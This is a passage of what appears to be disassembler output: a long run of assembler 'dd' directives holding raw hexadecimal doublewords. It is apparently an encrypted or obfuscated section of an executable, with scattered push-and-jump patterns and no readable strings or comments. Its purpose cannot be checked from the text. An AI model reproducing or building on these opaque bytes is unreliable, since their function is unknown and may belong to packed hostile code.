0FA6ED2E7h dd 1465BE1Ch, 8FD3F3D5h, 236B7FBEh, 0DBE32C73h, 6652CE98h dd 0EB3D0A50h, 8388F7CBh, 25105FA3h, 0B4E2CD11h, 434FB886h dd 0F1D8277Bh, 79A691EDh, 18327D41h, 6802E43Ah, 6D97h dd 68241C89h, 197Eh, 68242C89h, 6E91h, 56240C89h, 273C7468h dd 0F6815E4Ah, 4FCBF107h, 24048156h, 5B8C7348h, 48ED815Dh dd 5E5B8C73h, 240C8B54h, 5204C483h, 8BAh, 9EEA8100h, 162A61Bh dd 9EC281CAh, 8962A61Bh, 0C8B5A2Ah, 0E6895624h, 4C681h dd 0C6810000h, 4, 5C243487h, 5D2434FFh, 0E904C483h, 0FFFAAB0Bh dd 0B123BAEBh, 0EFA66F77h, 0ECD1F6B8h, 0FFC50305h, 0D3D8D1E0h dd 0A2B7BB32h, 8A37BD76h, 9D54040Ah, 88E52049h, 13E866h dd 0CADF0000h, 2A3056E9h, 3A05F6A2h, 4561DE4Fh, 303BE573h dd 14E899h, 0AFDB0000h, 744B6F92h, 0BBE210CAh, 58AF41D4h dd 0EFBA9FDDh, 0C18B1110h, 81665E59h, 818C63D0h, 63A6C6h dd 8FC88100h, 0BA51AF68h, 0 dd 8BCEB70Fh, 0EB81161Ch, 0F95F317h, 12E9h, 327EB800h dd 6F9C6FADh, 26034DB5h, 967836F5h, 811A2A58h, 0D8342AEBh dd 81C18B11h, 0FD285FEBh, 0BE848h, 78F80000h, 9F09AAF8h dd 3DFB2236h, 0D8816632h, 895F4B19h, 83F8161Ch, 0E85204EAh dd 0Eh, 33C33A41h, 996C7C12h, 0B53C22D1h, 6B8A21Ch, 593DDAC3h dd 48FA8158h, 0FFFFF9Dh, 1B85h, 40C98000h, 2FE9h, 5716BF00h dd 5E7D54C9h, 7C7AFB31h, 0D9B1ADB4h, 0D9D0EDC5h, 0E9F8BF0Fh dd 0FFFFFF6Bh, 47189AA3h, 0F4D540D1h, 7C9CAE3Fh, 3A125976h dd 0A2DFE6B6h, 0D42F8D8Dh, 0BF0F05ECh, 0D8B70FD8h, 23158D89h dd 0B70F05E7h, 0B985C7D7h, 8C05E708h, 6A00005Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 89A5C356h, 0E72575BDh, 0ADB52905h, 0C705E726h, 0E70C9985h dd 5, 0D1BD8B00h, 0FF05E722h, 0E7017DB5h, 5D958905h, 0FF05E731h dd 0E732CD95h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 9D89D181h, 5E702E1h, 10E9h dd 90E48E00h, 0CF4716EFh, 0BAAAEB53h, 97BF95CCh, 0FF006AD1h dd 0E71A1D95h, 0EBC08B05h, 0ACE9003Bh, 0B6CD4F7Fh, 45CF6957h dd 99DA2D91h, 16F506C7h, 11A4E64Dh, 4F9EBACCh, 5CBBAAF2h dd 0EDF1BED0h, 71B5EB44h, 0B31E34E8h, 48A8ED6Dh, 0E22E1A16h dd 0B38B64F9h, 93BABB48h, 98E9h, 9400h, 500h, 100h, 0A2800h dd 200h, 20h dup(0) dd 3C2F0800h, 0B87E907h, 0E4680000h, 0E905ECD6h, 0FFFAA85Bh dd 0ECD7D468h, 0A851E905h, 168FFFAh, 0E905ECD9h, 0FFFAA847h dd 0ECD97668h, 0A83DE905h, 0DC68FFFAh, 0E905ECDAh, 0FFFAA833h dd 0ECDB6268h, 0A829E905h, 6668FFFAh, 0E905ECDEh, 0FFFAA81Fh dd 0ECDF3268h, 0A815E905h, 533FFFAh, 1A301F31h, 20F1434h dd 1E09163Ah, 1D05123Eh, 0F382133Dh, 854B73BFh, 854B73BEh dd 834D6DBEh, 9EB294B4h, 0AA1EBB2Bh, 0A9C69937h, 6A350C7Ah dd 0F23D0121h, 4BAAFBDBh, 3C022464h, 5BF5D9F3h, 0EA3993ABh dd 141ECA94h, 5946AAD9h, 27106E4Eh, 0A0F1C2FAh, 0DBAE8B2Eh dd 0CD52C95Ch, 9EBEE5DBh, 4C9D6E4Dh, 0DB298B6Eh, 8C5FC692h dd 518E060Ah, 5FBE61F2h, 14000000h, 0A3E7496Ch, 7B75C692h dd 0D8B94201h, 0E2C112E3h, 2FEE02F4h, 0FEB912A7h, 0E04FC95Ch dd 0D0A580B6h, 59AA9299h, 955D05h, 0C692FEB8h, 0AE0B6ABBh dd 0C692FED6h, 146A4A43h, 0FCC2E22Bh, 0EA4F4B00h, 0C96DB7E2h dd 2E3C0D26h, 90A85D7Dh, 0A0F705E0h, 0AA41BC80h, 61F1D23Ah dd 0EA0Ah, 7A525C00h, 0F1390654h, 76D981C9h, 0C2B6734Bh dd 0C1C375E2h, 4C9DBDEEh, 0E6261171h, 9B8DFAC0h, 0BB1B13BBh dd 0FDA71AB0h, 1FD4C514h, 76F44EC7h, 806ECB2Ch, 0D312B8ACh dd 8ABDBC1Dh, 0E028C375h, 0E32572DEh, 0CE0FFC3h, 0DB744109h dd 0D0C95C84h, 0B207CF87h, 0C69264CEh, 106E6E5Bh, 5F166839h dd 8E9274EBh, 0EC6043ACh, 0EB5D7820h, 0E8C69251h, 0CB215C9Fh dd 733580CAh, 70CCB83Fh, 58E7AF27h, 200F6E70h, 0A18EC0F6h dd 159B3E67h, 2EC8A4BFh, 26AE8CDDh, 0A4BF2D93h, 84D526C8h dd 929CABA9h, 93C0F7A4h, 90A87021h, 915CBh, 4C8AB600h dd 0B797B79Ch, 0B585B299h, 0B99D8C9Bh, 0B89E8897h, 22760D90h dd 3D0AC6F4h, 3D0AC6F6h, 3B00C8E8h, 0AE03CD11h, 342F9124h dd 0F924C699h, 56645281h, 457BADFAh, 0CF1E7C5Ch, 35BE52FEh dd 0CAE8220Dh, 68D095F4h, 6BC375E2h, 48A4DB1Ah, 0EA220D45h dd 413782C4h, 42C375E2h, 0F0B83271h, 8F73BBB8h, 766B480h dd 692B453Fh, 0B9CCAD0Ah, 98E9C95Ch, 18206936h, 0A410E5DDh dd 0D2C69281h, 198B9139h, 2B61F22Bh, 0CCh, 5D7A52BFh, 0E0E21E4Bh dd 3905567Eh, 4EC991A9h, 84E52A1Ch, 7E5C4AA9h, 99625D20h dd 0DFC9C375h, 95AD51FFh, 0DB5C9551h, 0D73A795Eh, 0F28DD1F5h dd 62B71FFEh, 0C95C3CC9h, 0BCBB95E6h, 50656D30h, 0CCB857C9h dd 3F5C08Ah, 0C8A467h, 43ECE637h, 42E96757h, 84E7854h dd 0BB55423Fh, 0C51D7021h, 82596h, 0BC9A8600h, 0A78787ACh dd 0A59582A9h, 0A98D9CABh, 0A8AE98A7h, 32661DA0h, 0D1A3604h dd 0D1A3606h, 0B103818h, 9E133D01h, 351FE134h, 0E914C699h dd 566452B1h, 0BEEBB47Ch, 0E257D99Eh, 36CC375h, 0C8602C20h dd 228535BAh, 4CA382EBh, 0C2B6035Ch, 0C1C3756Fh, 6C9AEF0h dd 0B6828082h, 33BEB65h, 6B0AC89Bh, 0AC3A79BAh, 6547A52h dd 87CFEF39h, 0E276FADFh, 3C0DC375h, 787473C1h, 0A0753D95h dd 0C375E2D8h, 0F5C08ADBh, 0C375E203h, 0FEF43700h, 62B7A5DBh dd 2F0F27C9h, 50ACAE7Bh, 2172C322h, 0A08686A9h, 0ED53662Eh dd 0E6C6992Dh, 79A5695h, 0C6992C21h, 2C3CDF0Ch, 9FA0F0B1h dd 374AA98Dh, 0CAF2D4B9h, 0D014FB72h, 51AC558Ah, 0B01F0BE8h dd 903F08CCh, 0ED27FA0Fh, 0DABB315Ch, 0E51425F0h, 409156C1h dd 908F5D7Ah, 7C4B97A7h, 0DA330F2Fh, 8316B889h, 6CE47FDCh dd 3D024495h, 0CBE3C2EBh, 55B6F758h, 2018C404h, 5FB98C06h dd 1737111Ch, 5291E2CBh, 2B172D7Fh, 0B3F94F6Ah, 0A9FA681Bh dd 2F920F58h, 0F30FBE88h, 6F80457h, 65530000h, 7A50FF51h dd 62AFF454h, 7EA9F65Ah, 7DA5F25Eh, 9322F35Dh, 65EBD3DFh dd 65EBD3DEh, 63EDCDDEh, 7ED2F4D4h, 0CABE1B4Bh, 0C9C6993Bh dd 0EE02ECDAh, 0E2FD4356h, 0A5F6C375h, 983A7254h, 2398C7F2h dd 91EDEDDAh, 460C6FB8h, 62887D73h, 0AD2576C9h, 20AA8882h dd 0CA290D1Fh, 0D5F15E06h, 6540A9F5h, 0E03E1C0Eh, 0EC91B597h dd 6A3D49D3h, 8334A783h, 24000006h, 2572DEF8h, 200FC1E1h dd 2209C7F7h, 3E05CBEBh, 0BF06CAF0h, 50665008h, 506453F8h dd 5A7A53F8h, 5F7FA9F6h, 39630F1h, 0C6993BBDh, 21347B6h dd 98A72FEEh, 64CAFAFh, 62B73DB3h, 0B7E04FC9h, 1F52BB87h dd 0F9D02E0Eh, 3481C9BAh, 0C699364Ch, 0AD257647h, 93BA8A82h dd 0CD1E6FB3h, 9A876403h, 755DAEACh, 4830854Dh, 4BC69936h dd 0F65E3B7Ah, 0FDC69936h, 7CAB85B2h, 0DA2B0258h, 22DB589h dd 0F0D92515h, 0FBF6BCAEh, 45A07484h, 99041FE4h, 81B969C6h dd 55CD7518h, 0F50508E7h, 6969FFC7h, 53776645h, 0BD9D8996h dd 7C39AB7Eh, 460B61EDh, 5F000000h, 1A30ED02h, 0D6E3EB34h dd 0C375E266h, 0F2BA2C7Dh, 75E25127h, 220152C3h, 0E29B19DCh dd 3EEDC375h, 0D5C06F98h, 0ADD1A2E8h, 137C2638h, 47F39CBh dd 89E402FAh, 0D9568212h, 74267h, 3E040000h, 1EAh, 3C53E468h dd 0D0E5EDB0h, 0C95CEA63h, 0F74F0750h, 265CCD0h, 8CC322A5h dd 0C704AF2Bh, 706EA76h, 55C16A4Fh, 93DE7CCFh, 624B97A7h dd 2581B911h, 678C9029h, 0E33F1F0Ch, 4976B98Ah, 0E1DC2D71h dd 35EA06A1h, 98F1CD0Dh, 5C1DE336h, 0C516780Ch, 90C7D2F4h dd 0D17219E2h, 2761CE80h, 2A62C907h, 6F489704h, 48E025B4h dd 51D13h, 0B4828E00h, 0BF9F8F94h, 0BD9D8A91h, 0A1858493h dd 0A09680AFh, 3A6E05A8h, 3502CE0Ch, 3502CE0Eh, 33183010h dd 961B3519h, 3817993Ch, 0E12CC699h, 547A5289h, 82836906h dd 33B67C8h, 0C78FEE3Fh, 5CF0CDF2h, 0AE0B33C9h, 0C692ECDAh dd 2AB688D9h, 9551BD77h, 64B50665h, 0A91FBA62h, 0AAC6920Ch dd 2ED61A59h, 0B75B1316h, 26BB797h, 3A6C9438h, 9BB494FBh dd 53C49E99h, 7B20717Ah, 6A376276h, 97F9E27Eh, 30000004h dd 311E3204h, 0C1B3515h, 0E153B03h, 0A113F1Fh, 83123E1Ch dd 4472BCF4h, 4470BF84h, 4E6EBF84h, 0B393B582h, 1FBA2C9Dh dd 0C69939A9h, 350F7BAAh, 3F03236Ah, 68A08FEEh, 0E8230C46h dd 5497F6C4h, 350B1D6Ah, 0A1FDCE0Eh, 0D516956h, 0F9C5F522h dd 0BB6C6AD9h, 75E2AA1Eh, 0F58A9C3h, 5A44EB7Bh, 28AE017Ch dd 9AB0B098h, 0E200E8CDh, 3203C375h, 634C9DE1h, 8A66FEEDh dd 406667D9h, 60000000h, 4356EE02h, 0C375E2FDh, 7254A5F6h dd 5CF83EA7h, 606ABBC9h, 17E750C8h, 6E4DAE71h, 0EAD7AD10h dd 0EAA1C692h, 2A143BECh, 0EAF84055h, 0AAFBC692h, 0C9240559h dd 0F286C252h, 388261h, 2C40000h, 12A72FEEh, 0C95D30A4h dd 27084293h, 4509C7E7h, 0ACB0389Dh, 62B3C692h, 0ACD1A603h dd 672FC692h, 92ACEE52h, 5994E5C6h, 0DC0C527Ah, 2B775777h dd 3A1B0h, 0EE02E600h, 47FFA72Fh, 0EB2B6B82h, 2780E3A7h dd 0C95C582Ah, 0D7207E4Fh, 228DD1F5h, 1FCD2FABh, 8441547Eh dd 0D1CCBB57h, 0AC844880h, 0F4843AC7h, 0BC93D219h, 5B744A6Ch dd 0FBDEF095h, 0C2922F6Ah, 0D4E83607h, 0F9468307h, 44AB8AB2h dd 0CABE1B44h, 0C9D2C00Fh, 0BB87A7E6h, 18300152h, 0C6888D63h dd 0E905AEF3h, 45AABD8h, 0F1CD113Bh, 78781ECDh, 16399174h dd 9CD61535h, 0C01B1439h, 8D9ED1DEh, 289025ADh, 2BDEF61Bh dd 0F84789DAh, 47F887D0h, 0E27CFEDh, 254D55Ah, 0B8897B4Bh dd 2D2D1562h, 0B47C66D1h, 0F64E9F61h, 644B94DEh, 0B120033Bh dd 8114DC09h, 0DEF64E3Fh, 0A588EB34h, 0AF004A63h, 6DB6E14Fh dd 0B937CC1Ch, 4E27F2D4h, 6BD4DF0Dh, 0D1FBC41Ah, 0CB6DC58Dh dd 9C1C02AFh, 53675B9Ah, 7AC50E88h, 1024134Dh, 13D9E4C7h dd 947D5872h, 81EA379Ah, 99B398B0h, 0C17969B5h, 4F7882F6h dd 80DA330Fh, 67462B98h, 123E0008h, 0DCF69755h, 0E82FCF9h dd 52A8F9E0h, 4C6215EFh, 0FBB363ECh, 399CDA41h, 0EC4CA0B7h dd 5A1B634Ch, 0A0337273h, 4A42ED26h, 0F4371664h, 0A02BAF21h dd 11A46C38h, 0EC4C85AFh, 94F552A4h, 3914734Eh, 0FAC096E8h dd 1DE5C117h, 3065DEh, 2610000h, 0FFA72FEEh, 58C2ED47h dd 0B08A15A4h, 1124338Fh, 9770B326h, 0C95CFF36h, 0D99CE233h dd 0C692FF5Bh, 70587E2Dh, 61F271E0h, 0C6ECh, 7A52E600h dd 0F1390654h, 828AF5C9h, 37115EBCh, 99983917h, 4C375E7h dd 8A7E5B04h, 89C375E7h, 0F592E0B1h, 0E5F5887h, 258F7144h dd 0BB84C375h, 4F59E66Ah, 2881FB66h, 6452A0FAh, 0D0210856h dd 42BBB87h, 8EDF231Bh, 39DC10AFh, 9B4F9991h, 0F9856376h dd 2CE530BAh, 0C9C95C3Dh, 559B50F8h, 0F587EAEh, 51277247h dd 4AD5CCB8h, 0CD1C6240h, 9ACC1DEEh, 834D8DB5h, 0CF4C8AB4h dd 7021BD14h, 935704DCh, 34000001h, 3502CE08h, 301F3111h dd 32193707h, 0E153B1Bh, 8F163A00h, 4076A0F8h, 4074A388h dd 4A6AA388h, 4F6FB986h, 13A62081h, 0C6993CADh, 520377A6h dd 0ADFA5664h, 0C9F55B7Bh, 38062466h, 2C492D1h, 98A72FEEh dd 0BB9BB0B0h, 0F635146Ah, 0FE40D9FCh, 2C7DC95Ch, 0ADAD95BAh dd 378D704Eh, 41C692FEh, 8C040C8Ah, 0B861F272h, 98h, 547A520Ah dd 0D7F13906h, 0BB87D0F4h, 75E7FBC6h, 792666C3h, 75E7D45Ch dd 8A80EFC3h, 0C60A5BA4h, 470F2F79h, 8D3848EFh, 7AB9967Dh dd 80856B04h, 0A33AEBCEh, 0E637C95Ch, 0BE5F8D6Ah, 0EBF78114h dd 93FCCCB8h, 1234143Bh, 34BEFDCCh, 311F3F6Bh, 611E3C6Ah dd 70213F70h, 0C783D870h, 60000000h, 61CE0234h, 7CCB0525h dd 7EC50B33h, 7AC10F2Fh, 0F3C20E4Ch, 94A2ECC4h, 94A0EFB4h dd 9EBEEFB4h, 83A3E5B2h, 4F6A7C4Dh, 0C6993DF9h, 52DF8BFAh dd 0ADFA5664h, 0D5F55B7Bh, 6547A52h, 75C6EF39h, 0F4D4F117h dd 547F47A6h, 0A1AFF843h, 6F6726CAh, 0A9AD98A7h, 1F1FED4Ah dd 0CB14C962h, 4A40EFF7h, 0E22A0964h, 0E5270CDCh, 0DF38FDC1h dd 8AC3ABCFh, 2365C7C3h, 2666CD03h, 0DACD3A00h, 6C5BA4FAh dd 0FC251268h, 11FAFEDCh, 21A1C569h, 0CE2D0D1Eh, 7FA9FB9Fh dd 62AAF15Fh, 196A4842h, 442C89B1h, 5FCBCBAFh, 88D32F0Eh dd 1Ah, 5357DC2h, 6A35B026h, 0EF51643Dh, 0E4C375E2h, 756B4A9Bh dd 0A08686A9h, 66521545h, 0EB3D0A50h, 8388F7CBh, 25105FA3h dd 0B4E2CD11h, 434FB886h, 0F1D8277Bh, 79A691EDh, 18327D41h dd 6802E43Ah, 69EFh, 53240489h, 0C381E389h, 4, 8704EB83h dd 895C241Ch, 5668241Ch, 8900004Fh, 61682414h, 8B05ECD5h dd 0C483241Ch, 4EC8304h, 81242489h, 42404h, 565A0000h dd 7289DE89h, 24348B08h, 4C481h, 34FF0000h, 0C4815A24h dd 4, 50241C8Bh, 405E089h, 5000000h, 4, 5C240487h, 0FA9CEAE9h dd 824DFAFFh, 563873Bh, 8EAE41C5h, 0E01EB891h, 0C50305ECh dd 4699E0FFh, 1B7F258Eh, 84D252DEh, 89E63B7Fh, 98B36934h dd 0C7B53F39h, 91A90D3Eh, 2962B1Eh, 0E4DF0EEAh, 0A4D2274Ch dd 0E98643F2h, 53580179h, 3B7A5AF0h, 24EB3265h, 9 dup(0) dd 0BDE9h, 0D7B58900h, 8B05ECE0h, 0E707F185h, 61858B05h dd 8D05E703h, 0ECE121B5h, 1858D05h, 0FF05EA48h, 0E855C3D0h dd 0 dd 27ED815Dh, 8305ECE1h, 0E707F1BDh, 850F0105h, 2Ch, 0E0D7B5FFh dd 858B05ECh, 5E70361h, 81273635h, 3CD0FF34h, 0A850F01h dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 5ECE0DBh dd 0D7B5FF56h, 8B05ECE0h, 0E7036185h, 27363505h, 0D0FF3481h dd 8D0CC483h, 0ECE0DBB5h, 14468B05h, 8304E083h, 840F04F8h dd 7, 5E9C033h, 0B8000000h, 1, 7F1BD83h, 0F0105E7h, 785h dd 0E9C35D00h, 2, 858DCF5Dh, 5ECE100h, 6B58589h, 10E805E7h dd 0C7000000h, 98977028h, 44C63E0Ch, 6426C0CAh, 5AD114FEh dd 384DC681h, 0C2816187h, 664Ah, 196D68h, 0BCCCBB00h, 0E95F4E62h dd 0Bh, 31BD1625h, 0B7515698h, 0FF62F2F7h, 58CF8B32h, 5830Fh dd 81660000h, 81E021F3h, 0AB665AF0h, 81F18B71h, 143136F0h dd 0B7E88132h, 604A91ACh, 0CF94EABBh, 0CBBF0F00h, 0F5028961h dd 0E801EA83h, 13h, 2122D4C6h, 5208DF8h, 0FD44FF24h, 99345900h dd 5E67FE89h, 664A4A4Ah, 0F8E1E181h, 0A4850F4Fh, 81FFFFFFh dd 662575DEh, 288D8D7Dh, 8A05ECE3h, 158D89F0h, 6A05E723h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0F3A6C351h, 0FD6ACDBEh, 0B985C77Dh, 6805E708h dd 0E9000068h, 0Fh, 0FA08BD57h, 673DCE3Ah, 52250A71h, 0C788A776h dd 0E70C9985h, 5, 0DDB5FF00h, 6A05E731h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 2521C355h dd 858B56E7h, 5E70D45h, 32CD95FFh, 6A05E7h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0C19852C3h dd 9523554h, 0E70925B5h, 75958905h, 0F05E703h, 6AC6BFh dd 1A1D95FFh, 0C08B05E7h, 38746BEBh, 0F9FB6E5Dh, 29E2BE23h dd 0B1A62934h, 0E0D0DE1Ch, 383C77D8h, 9BC21CD5h, 41C9AA38h dd 0A3EA8D4Ah, 4FA05597h, 713E9164h, 0F757E4A3h, 0CC4F1812h dd 92422B98h, 38D464E4h, 6493F3BDh, 0DC32C795h, 25694DEBh dd 76D8A93Fh, 0BB68F7CDh, 0A214911Ah, 0B8E48B0h, 0ADDF577Ch dd 0C67FEDFAh, 8279D4Bh, 0DB339AE4h, 5D5E71F3h, 0ABE964h dd 8D500000h, 0B11C3F2Eh, 0ABDA5F72h, 0B395A7ACh, 0A1F44592h dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h dd 0A601E800h, 323D94E7h, 0ADBD5583h, 1328E908h, 68680000h dd 0E905ECE6h, 0FFFA991Fh, 0ECE77168h, 9915E905h, 4868FFFAh dd 0E905ECE8h, 0FFFA990Bh, 0ECE9C868h, 9901E905h, 4668FFFAh dd 0E905ECEAh, 0FFFA98F7h, 0ECEB0D68h, 98EDE905h, 0A968FFFAh dd 0E905ECEBh, 0FFFA98E3h, 0ECEC4468h, 98D9E905h, 0DF68FFFAh dd 0E905ECECh, 0FFFA98CFh, 0ECEE9268h, 98C5E905h, 5B68FFFAh dd 0E905ECEFh, 0FFFA98BBh, 0ECF0A268h, 98B1E905h, 0E468FFFAh dd 0E905ECF1h, 0FFFA98A7h, 0ECF3C368h, 989DE905h, 0C768FFFAh dd 0E905ECF4h, 0FFFA9893h, 9DB38BB1h, 9AB694B6h, 94B4848Dh dd 90B89C8Fh, 91BF9F8Bh, 0F53D750Ch, 0F13C0BC5h, 0EF3C0BC5h dd 123A01CFh, 25AD1CCCh, 99062890h, 8EF82BC6h, 6547A52h dd 1CFEF39h, 0CF87866Ah, 5CF08DEAh, 65B98AC9h, 92EC2490h dd 0A997B1C6h, 25045A62h, 6CB986D4h, 0F9B26E4Ch, 2AE16DD1h dd 7C2CA4ACh, 691861F2h, 0B6000000h, 0BA9CBCE9h, 0D1D3086Ch dd 50066541h, 1F3F6A35h, 73E34AC7h, 5994C340h, 8FC7C62Ah dd 9EA50FB7h, 7EBD190Fh, 6BC8A174h, 241CC95Ch, 69A31E07h dd 2C0D7D45h, 2879CA29h, 0AE8E99A6h, 368E734Fh, 40C69283h dd 8B050F8Bh, 0B961F22Dh, 121h, 0E44C6911h, 61C6928Fh dd 0D7360424h, 389D3506h, 0C6928FB0h, 570362B3h, 1F216A35h dd 0F7D62410h, 785C4BA6h, 0D0F6D63Dh, 1DE336FEh, 16C375E2h dd 0AF98E6C5h, 38075B63h, 0AC84CE10h, 0AD5AA92h, 271B5A57h dd 62EEF0D8h, 99B9EDB2h, 0A0096445h, 0C37507D3h, 0E0684E5Eh dd 116D715Bh, 30927A76h, 38318FA1h, 0B27A6CBDh, 0FFA850FAh dd 5F7A1AB3h, 0C37559E9h, 6D4899EAh, 5C4D738Ch, 0ECC9F1C9h dd 0C6922D04h, 1EEFCE1Fh, 0DB5303CDh, 0CAD8EB75h, 92962A6h dd 0A88BD435h, 9C36D715h, 0B87D8739h, 7D1A7CCCh, 6DB86698h dd 0B57D55A6h, 0A240288Dh, 7243C8A4h, 0E4D2DC33h, 66565DE2h dd 3462C907h, 865E9906h, 0B6927021h, 105225h, 0C80E3A00h dd 33133B00h, 3109361Dh, 3519301Fh, 34020C1Bh, 0A6FA8914h dd 0A18E4278h, 0A18E427Ah, 0BF844464h, 2287496Dh, 4A315A0h dd 75A0C699h, 56645205h, 3C65CAFAh, 80EF3E1Ch, 735AA096h dd 0EBCBDD30h, 0AEF1B965h, 26075B63h, 75E2FF41h, 48ABF4C3h dd 2FEE021Eh, 0FEB912A7h, 65B6C95Ch, 0A810A56Dh, 0ABC692FEh dd 52271B5Ah, 0C692FEE2h, 16D3F794h, 0FA390109h, 0F272B52Fh dd 0C19761h, 35D30000h, 0E2C0A80Dh, 0F2C3C375h, 6A4C5CB3h dd 0E9CDDF60h, 979B495h, 0F6D4F659h, 0F6241A8h, 12E73B03h dd 0C375E6A5h, 163A1C0Ch, 8C99A66Eh, 0E661D7ACh, 3E9BC375h dd 0C375E64Ah, 5EAF7849h, 0E6DFA174h, 8BD4C375h, 634345A8h dd 0A96C801Fh, 0F27B9421h, 2770C95Ch, 0FF9E5229h, 915FC2D7h dd 42EDCCB8h, 0B7046757h, 0D7C36C66h, 0BD8EAEF9h, 0E0486D15h dd 0E3C8A55Dh, 0B69D5392h, 1CCDB288h, 0C4702105h, 0F496F6Ch dd 0F5230000h, 0EA200FC1h, 0F23F04C4h, 0EE3906CAh, 0D3502CEh dd 3B203CDh, 0F55B63AFh, 0F55B63AEh, 0F35D7DAEh, 8E4264A4h dd 0BA0EAB3Bh, 0B9C69905h, 64521C4Ah, 7BADFA56h, 52D5F55Bh dd 3906547Ah, 3A01CFEFh, 0CAF8D30Dh, 4091E2C0h, 3B1B0D7Ah dd 0A8EAB815h, 959A3A90h, 5604264h, 3B93727Eh, 5C45219Eh dd 2857EFC9h, 90C63D9Ah, 0F33E8FEEh, 47298CD9h, 5CC69234h dd 8DDC2273h, 278C2DBCh, 0F2BEE7C5h, 62B71FFEh, 342EE1D9h dd 0EE52672Fh, 0E5C02CE9h, 9BE45994h, 14226C33h, 0BA84E7C6h dd 84CECF1Dh, 3957AE31h, 7A5AD2CAh, 0A990E544h, 0BB8479B4h dd 391D0C13h, 2DA984E5h, 0A2240A02h, 9569DFFAh, 196ACA36h dd 1F0916DAh, 0BC9B423Fh, 0CB676D93h, 0E7290h, 282E1A00h dd 13331B20h, 1129163Dh, 1539103Fh, 14226C3Bh, 86DAE934h dd 81AEA298h, 81AEA29Ah, 9FA4A484h, 2A7A98Dh, 0A837540h dd 9580C699h, 547A5225h, 82836906h, 1068EDC8h, 3C0DC95Dh dd 0F499572Ch, 2B16C7D2h, 7B53CCBAh, 13D0F6D4h, 0C8BBB3ADh dd 0B3F67A5Fh, 0BC8DC8BBh, 7DAF82D3h, 0DB240559h, 477DACF3h dd 321B6747h, 1A4C9DE1h, 0BBB3C9BFh, 0BAF9CAC8h, 0B303F144h dd 5675C8BBh, 3DB82830h, 0BD655C0Bh, 0BBBF9018h, 634293C8h dd 6A9Ah, 0EE022C00h, 0A412A72Fh, 93C95D30h, 0A468894Bh dd 9289AF11h, 35BA4C6h, 9ED1C6E5h, 7658A991h, 8FA6E14Eh dd 843217FBh, 0BD81D2D8h, 0E922116Ch, 80D1F5D7h, 0CDB306CEh dd 0C6C692B2h, 3CBB1FFCh, 0A5B5AF9h, 2E94252Bh, 0BBC692ABh dd 0B4834D91h, 7B6BB797h, 0C3CFF5D4h, 7546A7FBh, 0ABF0785Dh dd 0A2F3C692h, 0D750043h, 2560000h, 98A72FEEh, 7B52A8AEh dd 5967B238h, 5AC962C7h, 0DFFF2F70h, 9906961Ah, 735CADC6h dd 0CEEB935Bh, 0C699067Ah, 0E6CD2879h, 0E34880A6h, 1EB985A9h dd 0A3E54AD2h, 896EBF83h, 0C6990627h, 0C882D33Ch, 8E22B4EDh dd 7E50A1CCh, 452B8EB6h, 5EC8AC2Ah, 2AC0A80Dh, 485DC8ACh dd 6F4E9F68h, 0A790BF67h, 2F795497h, 527AC10Fh, 5B912E0Ch dd 0D08510BAh, 95C28537h, 2B3AD744h, 56F27611h, 0CF205h dd 0A8AE9A00h, 93B39BA0h, 91A996BDh, 95B990BFh, 94A2ECBBh dd 65A69B4h, 12E2218h, 12E221Ah, 1F242404h, 8227290Dh dd 0B03F5C0h, 1500C699h, 3C6A35A5h, 0FA7ADF1Eh, 3FC375E2h dd 0A7C1E5B1h, 4CE4826Ch, 5D4E6B63h, 1AC962AAh, 13A981C9h dd 17C792F4h, 7BC48EEDh, 74C30D51h, 932C7254h, 6E16B85Dh dd 2AB321D6h, 0D81B8491h, 0B0F2FA7Fh, 0F1AEFFCCh, 7025561Eh dd 747566C2h, 1400000Ch, 15222E28h, 103F1131h, 12391727h dd 6E351B3Bh, 0EF361A20h, 0A09680D8h, 0A09483A8h, 0AA8A83A8h dd 0AF8F99A6h, 734600A1h, 0C699088Dh, 52239786h, 3906547Ah dd 0D5F5D1EFh, 0B57A089h, 3B21A938h, 67D98AA9h, 0B7FED26Ah dd 0D8F98451h, 67F209Dh, 2A20000h, 12A72FEEh, 0C962C61Ch dd 18C08ADBh, 0ED311537h, 5A72A19Ch, 0FAA5274h, 0C69906B9h dd 60669BAh, 470FC520h, 7EC2D79Fh, 75C69906h, 6F94F24h dd 0EF73C699h, 5A77C6A3h, 0E8CB14E5h, 5FA38385h, 998A1A9Ah dd 0C11DFC6h, 0F7CEF55Ah, 998A5E22h, 3B0455C6h, 2FA786E7h dd 0EDF1D867h, 9C7DB891h, 0CCB17867h, 0C54E331Ch, 6D7023DBh dd 0BAD86D5h, 515F0000h, 4E5CEB65h, 6E5BE068h, 7255E26Eh dd 6951FE52h, 9FD6FF51h, 51FFDFCBh, 51FFDFCAh, 6FE1C1CAh dd 6AE6C8C0h, 0C6AA0F47h, 0DDC69909h, 7A52F8AEh, 0EF390654h dd 57AF87CFh, 0D166560Ch, 160DC6F1h, 1D8417CCh, 0F093E0DEh dd 3A52C2D6h, 0B67267D9h, 74000005h, 75E25CD8h, 0B25399C3h dd 0C6B9BD18h, 0ED3EC962h, 6C725AE5h, 4F7557FCh, 0C6277B43h dd 0E20EA9F5h, 5CE3AB23h, 35146A4Ch, 0F3DC11F6h, 0B860CCB1h dd 0A1F3AB1Dh, 1C5FA8C8h, 62A15EAFh, 6E702457h, 0B1189D2h dd 0CDFB0000h, 0D2F84789h, 0CAF75C8Ch, 0D6F15EF2h, 0C5CD5AF6h dd 3B4A5BF5h, 0CD033B67h, 0CD033B66h, 0CB052566h, 0C60A2C7Ch 